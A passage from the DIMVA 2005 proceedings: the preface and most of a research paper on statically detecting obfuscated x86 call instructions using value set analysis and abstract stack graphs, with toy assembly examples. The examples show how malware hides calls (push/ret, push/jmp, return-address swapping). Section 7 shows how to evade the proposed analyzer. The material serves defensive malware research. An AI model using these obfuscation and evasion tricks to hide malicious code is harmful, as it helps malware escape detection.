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Preface

On behalf of the Program Committee, it is our pleasure to present to you the
proceedings of the 2nd GI SIG SIDAR Conference on Detection of Intrusions &
Malware, and Vulnerability Assessment (DIMVA). DIMVA is organized by the
Special Interest Group Security — Intrusion Detection and Response (SIDAR)
of the German Informatics Society (GI) as an annual conference that brings
together experts from throughout the world to discuss the state of the art
in the areas of intrusion detection, detection of malware, and assessment of
vulnerabilities.

The DIMVA 2005 Program Committee received 51 submissions from 18 coun-
tries. This represents an increase of approximately 25% compared with the num-
ber of submissions last year. All submissions were carefully reviewed by at least
three Program Committee members or external experts according to the crite-
ria of scientific novelty, importance to the field, and technical quality. The final
selection took place at a meeting held on March 18, 2005, in Zurich, Switzer-
land. Fourteen full papers were selected for presentation and publication in the
conference proceedings. In addition, three papers were selected for presentation
in the industry track of the conference.

The program featured both theoretical and practical research results, which
were grouped into six sessions. Philip Attfield from the Northwest Security
Institute gave the opening keynote speech. The slides presented by the authors
are available on the DIMVA 2005 Web site at http://www.dimva.org/dimva2005

We sincerely thank all those who submitted papers as well as the Program
Committee members and the external reviewers for their valuable contributions.
Special thanks go to the Technical University Vienna in Austria for hosting this
year’s conference.

April 2005 Klaus Julisch
Christopher Kruegel
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Analyzing Memory Accesses in Obfuscated x86 
Executables 

Michael Venable, Mohamed R. Chouchane, Md Enamul Karim, 
 and Arun Lakhotia 

Center for Advanced Computer Studies, University of Louisiana at Lafayette, LA 
{mpv7292, mohamed, mek, arun}@louisiana.edu 

Abstract. Programmers obfuscate their code to defeat manual or automated 
analysis. Obfuscations are often used to hide malicious behavior. In particular, 
malicious programs employ obfuscations of stack-based instructions, such as 
call and return instructions, to prevent an analyzer from determining which 
system functions it calls. Instead of using these instructions directly, a 
combination of other instructions, such as PUSH and POP, are used to achieve 
the same semantics. This paper presents an abstract interpretation based 
analysis to detect obfuscation of stack instructions. The approach combines 
Reps and Balakrishnan’s value set analysis (VSA) and Lakhotia and Kumar’s 
Abstract Stack Graph, to create an analyzer that can track stack manipulations 
where the stack pointer may be saved and restored in memory or registers. The 
analysis technique may be used to determine obfuscated calls made by a 
program, an important first step in detecting malicious behavior. 

1   Introduction 

Programmers obfuscate their code with the intent of making it difficult to discern 
information from the code. Programs may be obfuscated to protect intellectual 
property and to increase security of code (by making it difficult for others to identify 
vulnerabilities) [1, 2]. Programs may also be obfuscated to hide malicious behavior 
and to evade detection by anti-virus scanners [3]. The concern here is detecting 
obfuscated malicious code. 

Malicious code writers have many obfuscating tools at their disposal such as 
Mistfall and CB Mutate (provided by the BlackHat community) as well as 
commercially available tools such as Cloakware and PECompact. They may also 
develop their own tool. Some known obfuscation techniques include: variable 
renaming, code encapsulation, code reordering, garbage insertion, and instruction 
substitution [2]. We are interested in instruction substitution of codes performed at the 
assembly level, particularly for call obfuscations. 

A common obfuscation observed in malicious programs is obfuscation of call 
instructions [3]. For instance, the call addr instruction may be replaced with two push 
instructions and a ret instruction, the first push pushing the address of the instruction 
after the ret instruction (the return address of the procedure call), the second push 
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pushing the address addr (the target of the procedure call). The third instruction, ret, 
causes execution to jump to addr, simulating a call instruction.  Fig. 1 illustrates 
another form of obfuscation.  In this example, Line L3 pushes the return address onto 
the stack and line L4 jumps to the function entry.  No call statement is present. The 
code may be further obfuscated by spreading the instructions and by further splitting 
each instruction into multiple instructions. 

Metamorphic viruses are particularly insidious because two copies of the virus do 
not have the same signature.  A metamorphic virus transforms its code during each 
new infection in such a way that the functionality is left unchanged, but the sequence 
of instructions that make up the virus is different [4].  As a result, they are able to 
escape signature-based anti-virus scanners [5, 6]. Such viruses can sometimes be 
detected if the operating system calls made by the program can be determined [7]. For 
example, Symantec’s Bloodhound technology uses classification algorithms to 
compare the system calls made by the program under inspection against a database of 
calls made by known viruses and clean programs [8]. 

The challenge, however, is in detecting the operating system calls made by a 
program. The PE and ELF formats for binaries include a mechanism for informing the 
linker about the libraries used by a program, but there is no requirement that this 
information be present. For instance, in Windows, the entry point address of various 
system functions may be computed at runtime via the Kernel32 function 
GetProcAddress. The Win32.Evol worm uses precisely this method for obtaining the 
addresses of kernel functions and also uses call obfuscation to further deter reverse 
engineering. 

Obfuscation of call instructions breaks most virus detection methods based on 
static analysis since these methods depend on recognizing call instructions to (a) 
identify the kernel functions used by the program and (b) to identify procedures in the 
code. The obfuscation also takes away important cues that are used during manual 
analysis. We are then left only with dynamic analysis, i.e., running a suspect program 
in an emulator and observing the kernel calls that are made. Such analysis can easily 
be thwarted by what is termed as a “picky” virus—one that does not always execute 
its malicious payload. In addition, dynamic analyzers must use some heuristic to 
determine when to stop analyzing a program, for it is possible the virus may not 
terminate without user input. Virus writers can bypass these heuristics by introducing 

Main:    Max: 
L1: PUSH 4  L6: MOV eax, [esp+4] 
L2: PUSH 2  L7: MOV ebx, [esp+8] 
L3: PUSH offset L5 L8: CMP eax, ebx 
L4: JMP Max  L9: JG L11 
L5: RET    L10: MOV eax, ebx 
     L11: RET 8 

Fig. 1. Sample use of call obfuscation 
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a delay loop that simply wastes cycles. It is therefore important to detect obfuscated 
calls for both static and dynamic analysis of viruses. 

To address this situation, this paper incorporates the work from [9] with the work 
discussed in [3]. In particular, the notion of Reduced Interval Congruence (RIC) will 
be employed to approximate the values that a register may hold. However, unlike in 
[9], registers such as esp will hold values that specifically represent some node or 
group of nodes in an abstract stack graph. Since graph nodes are not suitable to be 
represented by RIC, we maintain both the stack location and RIC information when 
performing our analysis. 

This paper is organized as follows.  Section 2 discusses work related to the area of 
static analysis.  Section 3 defines the domain that encompasses this work.  Sections 4 
and 5 consist of formal specifications of various functions used during the analysis.  
Section 6 contains an example demonstrating the analysis process.  Section 7 
describes our future goals in this area and section 8 concludes this paper. 

2   Related Work 

In [1], Linn and Debray describe several code obfuscations that can be used to thwart 
static analysis.  Specifically, they attack disassemblers by inserting junk statements at 
locations where the disassembly is likely to expect code.  Of course, in order to 
maintain the integrity of the program, these junks bytes must not be reachable at 
runtime.   

Linn and Debray take advantage of the fact that most disassemblers are designed 
around the assumption that the program under analysis will behave “reasonably” 
when function calls and conditional jumps are encountered.  In the normal situation, it 
is safe to assume that, after encountering a call instruction, execution will eventually 
return to the instruction directly following the call.  However, it is easy for an attacker 
to construct a program that does not follow this assumption, and by inserting junk 
bytes following the call, many disassemblers will incorrectly process the junk bytes as 
if they were actual code.  Another obfuscation technique involves using indirect 
jumps to prevent the disassembler from recovering the correct destination of a jmp or 
call, thereby resulting in code that is not disassembled. 

The authors show that, by using a combination of obfuscation techniques, they are 
able to cause, on average, 65% of instructions to be incorrectly diasassembled when 
using the popular disassembler IDA Pro from DataRescue.  To counter these 
obfuscations, it would be necessary to (1) determine the values of indirect jump 
targets and (2) correctly handle call obfuscations.  Doing so will help avoid the junk 
bytes that confound many disassemblers.  

Balakrishnan and Reps [9] show how it is possible to approximate the values of 
arbitrary memory locations in an x86 executable.  Their paper introduces the Reduced 
Interval Congruence (RIC), a data structure for managing intervals while maintaining 
information about stride.  Previous work in this area, such as [10], discuss how 
intervals can be used to statically determine values of variables in a program, but the 
addition of stride information makes it possible to determine when memory accesses 
cross variable boundaries, thus increasing the usefulness of such an approach. 
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The paper, however, assumes that the executable under analysis conforms to some 
standard compilation model and that a control-flow graph can be constructed for the 
executable under analysis. Incorrect results may arise when applied to an executable 
consisting of obfuscations typically found in malicious programs.  

Kumar and Lakhotia [3] present a method of finding call obfuscations within a 
binary executable.  To accomplish this, they introduce the abstract stack graph, a data 
structure for monitoring stack activity and detecting obfuscated calls statically. The 
abstract stack associates each element in the stack with the instruction that pushes the 
element. An abstract stack graph is a concise representation of all abstract stacks at 
every point in the program. If a return statement is encountered where the address at 
the top of the stack (the return address) was not pushed by a corresponding call 
statement, it is considered an obfuscation attempt and the file is flagged as possibly 
malicious. 

The limitation of this approach is that the stack pointer and stack contents may be 
manipulated directly without using push and pop statements.  Doing so bypasses the 
mechanisms used in [3] for detecting stack manipulation and may result in an 
incorrect analysis.  Also, indirect jumps cannot be properly analyzed, since there is no 
mechanism for determining jump targets of indirect jumps. These limitations may be 
overcome by combining their stack model with the work in [9] for analyzing the 
content of memory locations. 

3   Definitions 

The domain of our analysis method consists of RICs, stack-locations, values, and a 
state.  They are briefly discussed below. 

3.1   RIC 

A Reduced Interval Congruence (RIC) is a hybrid domain that merges the notion of 
interval with that of congruence. Since an interval captures the notion of upper and 
lower bound [10] and a congruence captures the notion of stride information, one can 
use RIC’s to combine the best of both worlds. An RIC is a formal, well defined, and 
well structured way of representing a finite set of integers that are equally apart. 

For example, say we need to over-approximate the set of integers {3,5,9}. An 
interval over-approximation of this set would be [3,9] which contains the integers 3, 
4, 5, 6, 7, 8, and 9; a congruence representation would note that 3, 5, and 9 are odd 
numbers and over-approximate {3,5,9} with the set of all odd numbers 1,3,5,7,…. 
Both of these approximations are probably much too conservative to achieve a tight 
approximation of such a small set. The set of odd numbers is infinite and the interval 
[3,9] does not capture the stride information and hence loses some precision. 

In the above example, the RIC 2[1,4] +1, which represents the set of integer values 
{3, 5, 7, 9} clearly is a tighter over-approximation of our set. 

Formally written, an RIC is defined as: 

RIC := a×[b,c]+d = {x | x = aZ+d where Z∈[b,c]} 



 Analyzing Memory Accesses in Obfuscated x86 Executables 5 

 

3.2   Stack-Location 

A stack-location is an abstract way of distinguishing some location on the stack. It is 
“abstract” in the sense that no attempt is made to determine the location’s actual 
memory address.  Instead, each stack-location is represented by a node in an abstract 
stack graph.  Each stack-location stores a value, discussed next. 

3.3   Value 

Each stack-location and register stores a value.  A value is an over approximation of 
the location’s run-time content and may be a stack-location, RIC, or both.  If an RIC 
or stack-location is ⊤, its value is either not defined or cannot be determined.  Also, a 
stack-location may be given the value ⊥, which represents the bottom of the stack. 

More formally, 

VALUE := RIC⊤ × P(STACK_LOCATION)⊤ 

3.4   State 

The state represents the overall configuration of the memory and registers at a given 
program point.  The state consists of a mapping from registers to values, a mapping 
from stack-locations to values, and the set of edges in the stack graph. 

Formally, 

STATE := (REGISTER → VALUE,  
   STACK_LOCATION → VALUE,  
   STACK_LOCATION × STACK_LOCATION) 

4   Operations 

4.1   Arithmetic Operations 

Functions are defined for performing various arithmetic operations on values.  The 
result of each operation depends on whether the value represents a stack-location or 
RIC.  For instance, adding two RICs results in a new RIC, where the new RIC is an 
over-approximation of the sum of the two RICs given as input.  Addition of an RIC 
and a stack-location outputs a set of stack-locations.  These stack-locations are 
obtained by traversing the abstract graph, starting from the stack-location given as 
input, and stopping after n nodes have been traversed, where n is a number included 
in the RIC given as input.  This is equivalent to adding some number to a stack 
address and getting some other stack address as output (Fig. 2).  Adding two stack-
locations is the same as adding two stack addresses, and since we make no attempt to 
determine the addresses of locations on the stack, we are unable to perform the 
addition.  Thus, addition of two stack-locations results in an undefined value.  The ⊔ 
operator, seen in the definition of +, returns the union of two values. 
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Fig. 2. Possible abstract stack (a) before adding to esp (b) after adding to esp 

add: VALUE × VALUE × STATE → VALUE 

INPUT RESULT 

(a, ⊤) × (c, ⊤) × s → (+(a, c), ⊤) 

(a, ⊤) × (⊤, d) × s  → (⊤, +(a, d, s)) 

(a, ⊤) × (c, d) × s  → (+(a,c), +(a, d, s)) 

(⊤, b) × (c, ⊤) × s  → (⊤, +(c, b, s)) 

(a, b) × (c, ⊤) × s  → (+(a,c), +(c, b, s)) 

Anything else  → (⊤,⊤) 

+: RIC × RIC → RIC 

+(R1, R2) = ⊔ R1 ⊞ a, where a ∈ R2 

+: RIC × STACK_LOCATION × STATE → P(STACK_LOCATION)  

+(R, s, state) = ⊔ rth successor of s, where r ∈ R 

The ⊞ operator shifts an RIC by a specified amount and, in effect, adds a number 
to an RIC. 

⊞: RIC × ℕ → RIC 

(a[b,c]+d) ⊞ x = (a[b,c]+d+x) 

Subtraction is similarly defined.  Two RICs can be subtracted to produce another 
RIC.  A stack-location minus an RIC results in new un-initialized nodes being added 
to the graph (Fig. 3).  Also, since an RIC can represent multiple numbers, the 
subtraction operation may result in multiple stack-locations as the result.  This means 
that there is more than one possible stack configuration at that program point. 

 
  

 
 
 
 
 
 
 
 
 (a)   (b) 

⊥ 

N1 

N2 

esp 

⊥ 

N1 

N2 

esp+4 
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Fig. 3. Possible abstract stack (a) before subtracting from esp (b) after subtracting from esp 

Adding new nodes, however, may not always be the best approach.  For instance, if 
some number is subtracted from register esp, then it is referencing some location 
above the top of the stack.  In this case, adding new un-initialized nodes to the stack 
graph is probably the correct approach.  However, if some number is subtracted from 
register eax and eax points to some stack-location, should new nodes be added to the 
graph or is it simply trying to access some stack-location that has been previously 
created?  Further work in this area will help determine the best answer. 

Moving on, an RIC minus a stack-location is undefined, since this would require 
knowing the actual address of the stack-location, something that we do not know.  For 
similar reasons, a stack-location minus a stack-location results in an undefined value. 

The function -* is provided to assist in adding multiple nodes to the abstract stack 
graph.  It takes as input a stack-location, RIC, and state and recursively adds nodes, 
starting from the given stack-location and stopping once the specified number of 
nodes have been added.  The function also tracks the set of stack-locations that arise 
as a result of the subtraction.  For example, esp minus the RIC 4[2,3] is equivalent to 
esp minus 8 and esp minus 12, and would cause three nodes to be added: esp - 4, esp - 
8, esp - 12.  Of these nodes, esp - 8 and esp - 12 are in the set of stack-locations 
resulting from the subtraction. 

sub: VALUE × VALUE × STATE → VALUE × STATE 

INPUT RESULT 

(a, ⊤) × (c, ⊤) × s → (-(a, c), ⊤) × s 

(⊤, b) × (c, ⊤) × s → (⊤, r) × s2,  where (r, s2) = -(b, c, s) 

(a, b) × (c, ⊤) × s → (-(a, c), r) × s2,  where (r, s2) = -(b, c, s) 

Anything else → (⊤,⊤) × s 
 

-: RIC × RIC → RIC  

-(R1, R2) = ⊔ R1 ⊞ -a, where a ∈ R2 
 

 
 
 
 
 
 
 
 (a)   (b) 

⊥ 

N1 

N2 

esp 

⊥ 

N1 

N2 

esp-4 

N3 
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-: STACK_LOCATION × RIC × STATE → P(STACK_LOCATION) × STATE 
-(s, R, state) =  -*(s, R, state, ∅) 
 
-*: STACK_LOCATION × RIC × STATE × P(STACK_LOCATION) → 

 P(STACK_LOCATION) × STATE 
-*(s, R, state, result) =   let (s2, state2) = add-node(s, state) in  

 –*(s2, -(R,1), state2, (1∈R) → (result ∪ {s2}) ▯ result)  
   if some member of R is > 0 

 result × state  if no member of R is > 0 
 
The add-node function, which appears in the definition of -*, assists other 

functions by providing an easy mechanism to add new nodes to the stack.  The nodes 
added are not initialized.  This is useful in situations where some number is subtracted 
from esp.  In these cases, new nodes are added to the stack with undefined values.  
The add-node function returns a new state along with the stack-location that is at the 
top of the stack. 

add-node: STACK_LOCATION × STATE → STACK_LOCATION × STATE 

add-node(loc, state) = m × (state↓1, [m ↦ (⊤,⊤)]state↓2, (m, loc) ∪ state↓3) ) 
 
Multiplication of two RICs results in an RIC that over-approximates the 

multiplication of each number expressed by the two RICs.  Clearly, without knowing 
the actual address of a stack-location, it is not possible to multiply an RIC by a stack-
location or multiply two stack-locations.  Thus, these operations result in an 
undefined value. 

mult: VALUE × VALUE → VALUE 

INPUT RESULT 

(a, ⊤) × (c, ⊤) → ( *(a,c), ⊤) 

Anything else → (⊤,⊤) 
 

*: RIC × RIC → RIC  

*(R1, R2) = ⊔ R1 × r, where r ∈ R2 
 
Division is even more restricted than multiplication.  Any division attempt results 

in an undefined value, regardless of input.  This is because division may result in a 
floating-point number, and the RIC structure does not yet handle floating-point 
numbers. 

div: VALUE × VALUE → VALUE  

INPUT RESULT 

Anything → (⊤,⊤) 
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4.2   Memory Operations 

The contents of arbitrary locations on the stack may be accessed and manipulated 
using the load, store, top, pop, and push functions. 

The load function takes as input a stack-location and a state and returns the value that 
is located at the given stack-location.  A future extension to this work will add a similar 
function for retrieving values stored at arbitrary memory locations such as the heap. 

load: STACK_LOCATION × STATE → VALUE 
load(location, state) = state↓2(location) 

 
The store function takes as input a stack-location, a value, and a state and returns an 
updated state that holds the new value at the specified stack-location.  Like the load 
function, this function will be improved to also update arbitrary memory locations in 
future versions. 

store: STACK_LOCATION × VALUE × STATE → STATE 

store(loc, value, state) = (state↓1, [loc ↦ value]state↓2, state↓3) 
 
The top function can be used to easily retrieve the value stored at the top of the stack.  
Since there may be more than one stack-location at the top of the stack at any given 
time, the union of these locations is returned as the result. 

top: STATE → P(VALUE) 

top(state) = ⊔ state↓2(m), where m ∈ state↓1(esp) 
 
Push and pop behave as one would expect.  Push adds a value to the top of the stack 
and returns an updated state.  Pop removes the value from the top of the stack and 
updates the state. 

push: VALUE × STATE → STATE 

push(value, state) = ([esp ↦ m]state↓1, [m ↦ value]state↓2, [∪ (m, n)] ∪ state↓3) 
where n ∈ (state↓1(esp)) ↓2 

 
pop: REGISTER × STATE → STATE 
pop(reg, state)=  

 ([reg ↦ top(state), esp ↦ ⊔ succ(1, n, state↓3)]state↓1, state↓2, state↓3)  
 where n ∈ state↓2(esp) 

4.3   Miscellaneous Operations 

The following functions have been created to perform various necessary tasks or to 
work as helper functions.   

Reset is provided to easily create a new stack.  In some cases, the analysis may not 
be able to determine which stack-location is the correct stack top.  In these cases, a 
new stack is created.  This involves simply setting the stack top (the esp register) 
equal to ⊥ (the bottom of the stack).  
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reset: STATE → STATE 

reset(state) = ([esp ↦ (⊤, {⊥})]state↓1, state↓2, state↓3) 

The make-value function provides an easy way to convert some input, such as a 
constant, into a value. 

make-value: ℕ → VALUE 

make-value(c) = (0×[0,0]+c, ⊤) 

5   Evaluation Function 

The evaluation function, ℰ, formally specifies how each x86 instruction is processed.  
It takes as input an instruction and a state and outputs a new state. 

ℰ: INST × STATE → STATE 
 
Processing a push or pop instruction is fairly easy.  For push, a new value is created 
that represents the value being pushed and the state is modified such that the stack top 
points to the new value.  Pop modifies the state such that the stack top points to the 
next node(s) in the abstract stack graph, effectively removing the old stack top. 

ℰ [m: push c], state = ℰ (next(m), push(make-value(c), state)) 

ℰ [m: push reg], state = ℰ (next(m), push(state↓1(reg), state)) 

ℰ [m: pop reg], state = ℰ (next(m), pop(reg, state)) 
 
Anytime a hard-coded value is moved into register esp, the abstract stack graph is 
reset.  Since the analysis does not track the addresses of stack-locations, we are 
unable to determine where the hard-coded value may point.  Thus, analysis continues 
from this instruction with a new stack graph. 

ℰ [m: mov esp, c], state = ℰ (next(m), reset(state)) 
 
Encountering an add or sub instruction requires performing the requested operation 
and updating the specified register in the state.  Mult and div instructions are handled 
similarly. 

ℰ [m: add reg, c], state = let v = add(state↓1(reg), make-value(c), state) in 

 ℰ (next(m), ([reg ↦v]state↓1, state↓2, state↓3)) 

ℰ [m: add reg1, reg2], state = let v = add(state↓1(reg1), state↓1(reg2), state) in  

 ℰ (next(m), ([reg1 ↦v]state↓1, state↓2, state↓3)) 

ℰ [m: sub reg, c], state = let (v, state2) = sub(state↓1(reg), make-value(c),state) in  

 ℰ (next(m), ([reg ↦ v]state2↓1, state2↓2, state2↓3)) 

ℰ [m: sub reg1, reg2], state =  
let (v, state2) = sub(state↓1(reg1), state↓1(reg2), state) in  

 ℰ (next(m), ([reg1 ↦v]state2↓1, state2↓2, state2↓3)) 
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When a call instruction is encountered, the address of the next instruction (the return 
address) is pushed onto the stack and analysis continues at the target of the call.  In 
the case of an indirect call, the target of the call is determined by using value set 
analysis. 

ℰ [m: call c], state = ℰ (inst(c), push(next(m), state)) 

ℰ [m: call reg], state = ℰ (inst(state↓1(reg)), push(next(m), state)) 
 
Jump instructions are handled in a manner similar to calls. When processing 
conditional jumps, each branch is analyzed and the results are merged.  In the 
presence of indirect jumps, the value of the register being jumped to is retrieved and 
used as the target. 

ℰ [m: jmp c], state = ℰ (inst(c), state) 

ℰ [m: jmp reg], state = ℰ (inst(state↓1(reg)), state) 

ℰ [m: conditional jump to c], state = ℰ (next(m), state) ∪ ℰ (inst(c), state) 

ℰ [m: conditional jump to reg], state =  

 ℰ (next(m), state) ∪ ℰ (inst(state↓1(reg)), state) 
 
Processing a ret instruction involves retrieving the return address from the top of the 
stack and continuing analysis from there.  Since the value retrieved from the stack 
may represent multiple addresses, each possible address is analyzed and the results 
are merged. 

ℰ [m: ret], state = ∪ ℰ (inst(x), pop(state)), where x ∈ top(state) 
 
Handling a mov instruction is relatively straightforward.  In all cases, some value 
needs to be stored at some location.  That value is either immediately available in the 
instruction or must first be retrieved from some other location. 

ℰ [m: mov reg, c], state =  

 ℰ (next(m), ([reg ↦ make-value(c)]state↓1, state↓2, state↓3)) 

ℰ [m: mov [reg], c], state = ℰ (next(m), store(state↓1(reg), make-value(c), state)) 

ℰ [m: mov reg1, reg2], state =  

ℰ (next(m), ([reg1 ↦ state↓1(reg2)]state↓1, state↓2, state↓3)) 

ℰ [m: mov reg1, [reg2]], state=  

 ℰ (next(m), ([reg1↦load(state↓1(reg2))]state↓1, state↓2, state↓3)) 

6   Examples 

The following sections contain examples demonstrating the analysis of various 
obfuscation techniques.  Section 6.1 contains a rather detailed example intended to 
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explain the analysis process.  The remaining sections briefly describe how this 
approach can be used to analyze other obfuscations. 

6.1   Using Push/Jmp 

Fig. 4 contains a sample assembly program that will be used as an example for the 
remainder of this section.  The program consists of two functions: Main and Max.  
Max takes as input two numbers and returns as ouput the larger of the two numbers. 

The function Main pushes the two arguments onto the stack, but instead of calling 
Max directly, it pushes the return address onto the stack and jumps to Max.  Code 
such as this can cause problems during CFG generation and thus may cause analysis 
methods that rely on them to behave unpredictably.  

Upon entry, all registers are initialized to ⊤, signaling that their values have not yet 
been determined.  The stack is currently empty as is the mapping of stack-locations to 
values, since there is no stack content yet (Fig. 5a). 

Instruction L1 pushes a value onto the stack.  The value pushed is the RIC 0[0,0] + 
4, or simply 4.  A new stack-location is created to hold this value and is added to the 
set of edges in the abstract stack graph that connects the new stack-location to the 
bottom of the stack (Fig. 5b).  Notice that register esp is modified so that it references 
the stack-location that is the new top of the stack. 

Instructions L2 and L3 perform in a manner similar to L1. L3, however, pushes an 
instruction address onto the stack.  In this example, we will represent the addresses of 
instructions by using the instruction’s label.  However, in practice, the actual address 
of the instruction is used instead and can easily be represented using an RIC (Fig. 5c).   

L4 is an unconditional jump.  Control is transferred to the destination of the jump 
and the state is left unchanged.  

The next instruction evaluated is the target of the jump, or L6 in this case.  L6 is a 
mov instruction that moves the value located at esp+4 into register eax (Fig. 5d). 

Instruction L7 performs in a manner similar to L6. Instruction L8 has no effect on 
the state.  

Instruction L9 is a conditional jump and does not change the state.  During 
evaluation, each possible target will be processed and each resulting state is joined 
once the two execution paths meet. 

Fig. 4. Obfuscated call using push/jmp 

Main:   Max: 
L1: PUSH 4 L6: MOV eax, [esp+4] 
L2: PUSH 2 L7: MOV ebx, [esp+8] 
L3: PUSH offset L5 L8: CMP eax, ebx 
L4: JMP Max L9: JG L11 
L5: RET  L10: MOV eax, ebx 
    L11: RET 8 
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Instruction L10 copies the value from ebx to eax (Fig. 5e). 
The ret 8 instruction at L11 implicitly pops the return address off the top of the 

stack and continues execution at that address.  It also adds 8 bytes to esp.  This causes 
esp to be incremented by 2 stack-locations (since each stack-location holds 4 bytes). 
However, since L11 can be reached from L9 and L10, the results of evaluating the 
two paths must be joined before processing L11.  Creating the union of the two states 
is easy in this case.  The only difference between the two is the value of eax.  At 
instruction L9, eax is 2, whereas at instruction L10, eax is 4.  The union of the two is 
the set {2, 4}, or the RIC 2[1,2]+0 (Fig. 5f). 

Evaluation continues at L5, which ends the program.   
Looking at the final state, we see that eax may hold either 2 or 4 and ebx equals the 

constant 4.  Note that a quick scan of the code reveals that eax will actually always 
equal 4 at L5.  The analysis assumed that the jump at L9 might pass execution to 
  

Fig. 5. Contents of the state at various points in the example program (see Fig. 4) 

eax→(⊤, ⊤) eax→(⊤, ⊤)  eax→(⊤, ⊤) 

ebx→(⊤, ⊤)  ebx→(⊤, ⊤)  ebx→(⊤, ⊤) 
esp esp   esp 
 
 
 
 
 
 
 
 
(a) At Program Entry (b) After L1 (c) After L3 
 
 

eax→(2, ⊤) eax→(4, ⊤)  eax→(2[1,2], ⊤) 

ebx→(⊤, ⊤) ebx→(4, ⊤)   ebx→(4, ⊤) 
esp esp 
 
 
 
 
 
 
    esp 
 
(d) After L6 (e) After L10 (f) After L11 

⊥ (4,⊤)

⊥ 

(L5,⊤) 

(2,⊤) 

(4,⊤) 

⊥ 

(L5,⊤) 

(2,⊤) 

(4,⊤) 

⊥ 

(L5,⊤)

(2,⊤)

(4,⊤)

⊥ 

(L5,⊤) 

(2,⊤) 

(4,⊤) 

⊥ 
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Fig. 6. (a) Call obfuscation using push/ret (b) State at instruction L5 

instruction L10 or L11.  However, execution will always continue at L10, because eax 
is always less than ebx at L8.  This does not mean the analysis is incorrect.  One goal 
of VSA is to play it safe and over-approximate the actual values, hence the 
discrepancy.  Applying techniques used in compilers, such as dead code elimination, 
may assist in providing more accurate results. 

6.2   Using Push/Ret 

Fig. 6a shows the same code, but using the push/ret obfuscation.  Instructions L3 and 
L4 push the return address and the target address onto the stack.  L6 consists of a ret 
that causes execution to jump to the function Max.  Analysis methods that rely on the 
correctness of a CFG will surely fail when analyzing such code. 

During the analysis, at instruction L5, there are four nodes in the abstract stack, as 
shown in Fig. 6b.  At the top of the abstract stack is the address of the function Max.  
When the ret is encountered, analysis continues at this address and esp is incremented 
so that it points to the node containing (L6, ⊤).  Thus, L6 becomes the return address 
of the Max procedure. 

6.3   Using Pop to Return 

In Fig. 7a, the function Max is invoked in the standard way, however it does not 
return in the typical manner.  Instead of calling ret, the function pops the return 
address from the stack and jumps to that address (lines L10-L12). 

 

Main:    eax→(⊤, ⊤) 

L1: PUSH 4   ebx→(⊤, ⊤) 
L2: PUSH 2   esp 
L3: PUSH offset L6 
L4: PUSH offset Max 
L5: RET 
L6: RET 
 
Max: 
L7: MOV eax, [esp+4] 
L8: MOV ebx, [esp+8] 
L9: CMP eax, ebx   
L10: JG L12 
L11: MOV eax, ebx 
L12: RET 8 

 (a) (b) 

(L6,⊤)

(2,⊤)

(4, ⊤)

⊥ 

(Max,⊤) 
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Fig. 7. (a) Obfuscation using pop to return. (b) State at L10. (c)State at L12 

At instruction L10, the stack contains four nodes, as shown in Fig. 7b.  L10 
removes the value from the top of the stack and places it in ebx.  L11 adds eight to 
esp, which causes esp to point to the bottom of the stack.  L12 is an indirect jump to 
the address in ebx.  Looking at the stack at instruction L12 (Fig. 7c), ebx contains  
(L4, ⊤), thus analysis continues at instruction L4, the original return address. 

6.4   Modifying Return Address 

In Fig. 8a, the procedure Max pops the original return address and replaces it with an 
alternate address to transfer control to a function other than the caller.  In this 
example, control transfers to L30, which is not shown. 

At instruction L10, the top of the stack originally contains (Max, ⊤).  L10 removes 
this value from the stack and L11 pushes the value (L30, ⊤) onto the stack.  Fig. 8b 
shows the resulting state.  The ret statement at L12 causes analysis to continue at 
instruction L30. 

7   Future Work 

Currently, this work approximates only the values stored in registers or on the stack.  
No effort is taken to determine the values that may be stored at any arbitrary location 
on the heap.  Future work will involve extending the architecture to handle this 
additional task and the ability to handle other kinds of obfuscations.  We will also 
construct a prototype for testing how well the proposed solution performs at detecting 
metamorphic viruses with call obfuscations. 

Main:   eax→(2[1,2], ⊤) eax→(2[1,2], ⊤) 

L1: PUSH 4 ebx→(4, ⊤) ebx→(L4, ⊤) 
L2: PUSH 2 esp 
L3: CALL Max 
L4: RET 
 
Max: 
L5: MOV eax, [esp+4] 
L6: MOV ebx, [esp+8] 
L7: CMP eax, ebx  esp 
L8: JG L10 
L9: MOV eax, ebx 
L10: POP ebx 
L11: ADD esp, 8 
L12: JMP ebx 
 (a) (b) (c) 

(L4,⊤)

(2,⊤)

(4, ⊤)

⊥ 

(L4,⊤) 

(2,⊤) 

(4, ⊤) 

⊥ 
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Fig. 8. (a) Obfuscation by modifying return address (b) State at instruction L12 

Fig. 9. Manipulation of the abstract stack graph 

Having looked at how the abstract stack is used, one can construct new forms 
of obfuscations that can circumvent this approach.  For instance, the code shown 
in Fig. 9a pushes the value five onto the stack and removes that value from the 
stack immediately after.  Instruction L3 subtracts from the stack pointer, which 
effectively places the five at the top of the stack again.  At L4, the value five is 
placed into eax. 

The stack graph that would be created is shown in Fig. 9b.  At instruction L4, esp 
points to a value that has not been initialized.  It is this value that is placed into eax, 
not the value five.  Thus, the analysis is incorrect for this piece of code.  The cause is 
the assumption that subtracting from register esp implies a new node should be 
created in the stack graph.  While this assumption may be correct for compiler-

Main:    eax→(2[1,2], ⊤) 

L1: PUSH 4   ebx→(Max, ⊤) 
L2: PUSH 2   esp 

 L3: CALL Max 
L4: RET 

 
Max: 
L5: MOV eax, [esp+4] 
L6: MOV ebx, [esp+8] 
L7: CMP eax, ebx 
L8: JG L10 
L9: MOV eax, ebx 
L10: POP ebx 
L11: PUSH offset L30 
L12: RET 8 

 (a) (b) 

L1: PUSH 5 
L2: ADD esp, 4  esp 
L3: SUB esp, 4 
L4: MOV eax, [esp] 
 
 

 (a) (b) 

(L4,⊤)

(2,⊤)

(4, ⊤)

⊥ 

(Max,⊤) (L30,⊤)

(⊤, ⊤) (5, ⊤) 

⊥ 
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generated code, hand-crafted assembly need not follow this convention.  Other 
variations of this theme exist. 

Another possible attack is in the over-approximation of the values.  If the analysis 
over-approximates a value too much, the analysis is less useful.  Code can be crafted 
to intentionally force the analysis to over-approximate important values, such as the 
targets of indirect jumps.  In future work, we will study these attack vectors and 
determine how these obstacles can be overcome. 

8   Conclusion 

By using an abstract stack graph as an abstraction of the real stack, we are able to 
analyze a program without making any assumptions about the presence of activation 
records or the correctness of the control-flow graph. 

The method presented here can be used to statically determine the values of 
program variables.  The method uses the notion of reduced interval congruence to 
store the values, which allows for a tight approximation of the true program values 
and also maintains stride information useful for ensuring memory accesses do not 
cross variable boundaries.  The reduced interval congruence also makes it possible to 
predict the destination of jump and call instructions. 

The potential for this approach is in statically detecting obfuscated calls.  Static 
analysis tools that depend on knowing what system calls are made are likely to report 
